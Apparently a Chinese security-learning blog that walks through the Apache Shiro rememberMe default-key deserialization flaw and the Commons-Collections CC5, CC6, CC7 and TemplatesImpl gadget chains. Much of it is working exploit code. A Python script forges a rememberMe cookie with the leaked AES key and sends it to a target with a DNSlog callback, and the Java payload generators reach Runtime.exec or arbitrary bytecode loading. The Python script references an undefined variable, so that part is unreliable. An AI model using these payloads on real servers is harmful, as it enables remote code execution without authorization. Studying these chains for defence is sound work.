encrypt函数就是调用AES加密对序列化后的”root”进行加密,加密的密钥由getEncryptionCipherKey()得到,跟进getEncryptionCipherKey()函数会发现其值为常量

图片

继续f8,直到回到rememberIdentity函数

图片

跟进rememberSerializedIdentity函数

图片

发现其对其进行base64编码后,设置到cookie中。到这里我们可以梳理下整个过程,当我们勾选上rememberme选项框后,以root身份登录,后端会进行如下操作:

  • 序列化用户身份”root”
  • 对root进行AES加密,密钥为常量
  • base64编码
  • 设置到cookie中的rememberme字段
    图片

图片

接下来看下rememberme字段的解密过程:

将断点打在org.apache.shiro.mgt.DefaultSecurityManager#getRememberedIdentity,然后发送一个带有rememberMe Cookie的请求

图片

跟进getRememberedPrincipals函数

图片

跟进getRememberedSerializedIdentity函数,发现函数提取出cookie并且base64解码

图片

回到getRememberedPrincipals函数,继续跟进到convertBytesToPrincipals函数,发现其对cookie进行AES解密和反序列化

图片

decrypt函数就不贴图了,跟进去很明显就可以看出来其功能。

综上,整个流程为

  • 读取cookie中rememberMe值
  • base64解码
  • AES解密
  • 反序列化
    其中AES加解密的密钥为常量,于是我们可以手动构造rememberMe值,改造其readObject()方法,让其在反序列化时执行任意操作

3 漏洞利用(直接拿网上的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Cipher import AES
import traceback
import requests
import subprocess
import uuid
import base64

target = "ip"
jar_file = 'D:\\java\\ysoserial\\target\\ysoserial-0.0.6-SNAPSHOT-all.jar'
cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="

# 创建 rememberme的值
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://e54daa.dnslog.cn"],
                        stdout=subprocess.PIPE)
# 明文需要按一定长度对齐,叫做块大小BlockSize 这个块大小是 block_size = 16 字节
BS = AES.block_size

# 按照加密规则按一定长度对齐,如果不够要要做填充对齐
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()

# 泄露的key
key = "kPH+bIxk5D2deZiIxcaaaA=="

# AES的CBC加密模式
mode = AES.MODE_CBC

# 使用uuid4基于随机数模块生成16字节的 iv向量
iv = uuid.uuid4().bytes

# 实例化一个加密方式为上述的对象
encryptor = AES.new(base64.b64decode(key), mode, iv)

# 用pad函数去处理yso的命令输出,生成的序列化数据
file_body = pad(popen.stdout.read())

# iv 与 (序列化的AES加密后的数据)拼接, 最终输出生成rememberMe参数
base64_rememberMe_value = base64.b64encode(iv + encryptor.encrypt(file_body))

# 发送request
try:
    r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=10)
except:
    traceback.print_exc()

能检测到dnslog,就说明命令执行成功

之前已经将TemplatesImpl 投入到Commons-Collections利用链中,执行任意Java字节码。

这次要解决一个问题:为什么已经有CC6这种高版本通杀链了还需要TemplatesImpl的链子呢?

可以用shiro反序列化来测试TemplatesImpl反序列化

shiro反序列化的原理

1
2
3
4
5
6
7
8
9
10
<dependency>
      <groupId>org.apache.shiro</groupId>
      <artifactId>shiro-core</artifactId>
      <version>1.2.4</version>
</dependency>
<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.27.0-GA</version>
</dependency>

为了让浏览器或服务器重 启后用户不丢失登录状态,Shiro支持将持久化信息序列化并加密后保存在Cookie的rememberMe字 段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密 Key,导致攻击者可以伪造任意的rememberMe Cookie,进而触发反序列化漏洞

使用CommonsCollections6攻击Shiro

图片

登录时勾选remember me

勾选之后登陆cookie会生成rememberMe字段,之前说了这个字段被发送到服务端进行反序列化,所以我们的攻击流程

  • 使用以前学过的CommonsCollections利用链生成一个序列化Payload
  • 将payload用shiro默认key加密
  • 将加密后的payload放入rememberMe字段发送给服务端触发反序列化
    可以用下面代码生成cc6的payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package shiroatack;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;



public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package shiroatack;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

直接将生成的payload传入会报错的,具体报错原因这里暂且不表,缘由过于复杂。
经过p神调试给出结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。

我们的payload里就有数组

1
Transformer[] transformers = new Transformer[] {}

解决办法

我们不能用到数组,回忆一下,触发反序列化的最关键的点在与LazyMap的get方法,通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。但是ConstantTransformer类的作用本身就是传递参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class ConstantTransformer implements Transformer, Serializable {
    
    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param constantToReturn  the constant to return each time
     */
    public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }

    /**
     * Transforms the input by ignoring it and returning the stored constant instead.
     * 
     * @param input  the input object which is ignored
     * @return the stored constant
     */
    public Object transform(Object input) {
        return iConstant;
    }
}

这起到一个简单的参数传递作用,那我们只要找到能够代替这个作用的方法就行。
LazyMap的get方法

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是随便输入的,但此时发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色

改造为CCShiro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package shiroatack;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

public class Client {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(shiroatack.Evil.class.getName());
        byte[] payloads = new CCShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

通过Client.java生成payload(别忘了写个Evil类用来获取字节码)

这里用到了javassist,这是一个字节码操纵的第三方库,可以帮助我将恶意类生成字节码再交给 TemplatesImpl 

图片

前言

CC7也是对CC3.1版本的利用链,使用Hashtable作为反序列化的入口点,通过AbstractMap#equals来调用LazyMap#get

利用链

1
2
3
4
5
6
7
8
9
10
11
12
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

利用链分析

看到Hashtable#readObject,循环调用了reconstitutionPutelements为传入的元素个数

图片
key和value都是从序列化流中得到的,序列化流中的值则是通过put传进去的

图片

图片

跟进reconstitutionPut

图片

图片

for循环中调用了equals,我们先看看进入for循环的条件:e != null,而e = tab[index],此时tab[index]的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;

那如何才能进入for循环呢,既然调用一次reconstitutionPut不行,那我们就调用两次,也就是说put两个元素进Hashtable对象,这样elements的值就为2,readObject中的for循环就可以循环两次;

第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;

接着看看if里面的判断,要求e.hash == hash,这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行;

继续跟进到AbstractMapDecorator#equals,这里的map是可控的

图片

跟进到AbstractMap#equals,调用了m.get(),而m是根据传入的对象获取的,也就是说如果传入的是LazyMap类对象,那么这里就是调用的LazyMap#get,便可触发RCE

图片

图片

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
Transformer[] fakeTransformers = new Transformer[] {};

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()的时候也会调用到LazyMap#get,会触发RCE
图片

所以这里构造一个fakeTransformers,里面为空就行;

代码2

1
2
3
4
5
6
7
8
9
10
11
12
13
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

先将fakeTransformers传入ChainedTransformer对象;
new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yyzZ,因为需要这两个值的hash值相等,而在java中,yyzZ的hash值恰好相等

然后将这两个LazyMap类对象put进Hashtable类对象;

代码3

1
2
3
4
5
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);

lazyMap2.remove("yy");

通过反射获取ChainedTransformeriTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers
最后还要remove掉yy,应为如果不去掉的话,第二次调用reconstitutionPut的时候就会存在两个key

图片

导致进入下面的if判断,直接返回false,不再执行后面的代码图片

这里继续解释一下几个细节点:

  • 为什么要调用两次put?
    在第一次调用reconstitutionPut时,会把key和value注册进table中

图片

图片

此时由于tab[index]里并没有内容,所以并不会走进这个for循环内,而是给将key和value注册进tab中。在第二次调用reconstitutionPut时,tab中才有内容,我们才有机会进入到这个for循环中,从而调用equals方法。这也是为什么要调用两次put的原因

  • 为什么在调用完HashTable#put之后,还需要在map2中remove掉yy?
    这是因为HashTable#put实际上也会调用到equals方法

图片

当调用完equals方法后,map2的key中就会增加一个yy键,而这个键的值为UNIXProcess这个类的实例

图片

这个实例并没有继承Serializable,所以是无法被序列化存进去的,如果我们不进行remove,则会报出这样一个错误

图片

所以我们需要将这个yy键-值给移除掉,从这里也能明白,实际上我们在反序列化前已经成功的执行了一次命令。但是为了反序列化时可以成功执行命令,就需要把这个键给移除掉

前言

分析过CC1就很容易看懂CC5

利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

前置知识

CC5中涉及到两个新的类,这里先介绍一下

TiedMapEntry

图片

图片

该类有两个参数,一个Map类型,一个Object类型;

后面我们会使用到它的getValuetoString方法

BadAttributeValueExpException

图片

图片

该类只有一个val参数

POC分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}

代码1

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。
代码2

1
2
3
4
5
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);

TiedMapEntry.getValue()调用了get(),参数map是可控的;
图片

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;

接着,toString()方法又调用了getValue()方法

图片

继续找哪里调用了toString()方法;

BadAttributeValueExpException.readObject()调用了toString()方法

图片

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;

所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;

即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件

下面解释一些细节的问题:

  • 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值?
    以下为BadAttributeValueExpException的构造方法
1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

可以发现,如果我们直接将前面构造好的TiedMapEntry传进去,在这里就会触发toString,从而导致rce。此时val的值为UNIXProcess,这是不可以被反序列化的,所以我们需要在不触发rce的前提,将val设置为构造好的TiedMapEntry。否则就会报出下边的错误
图片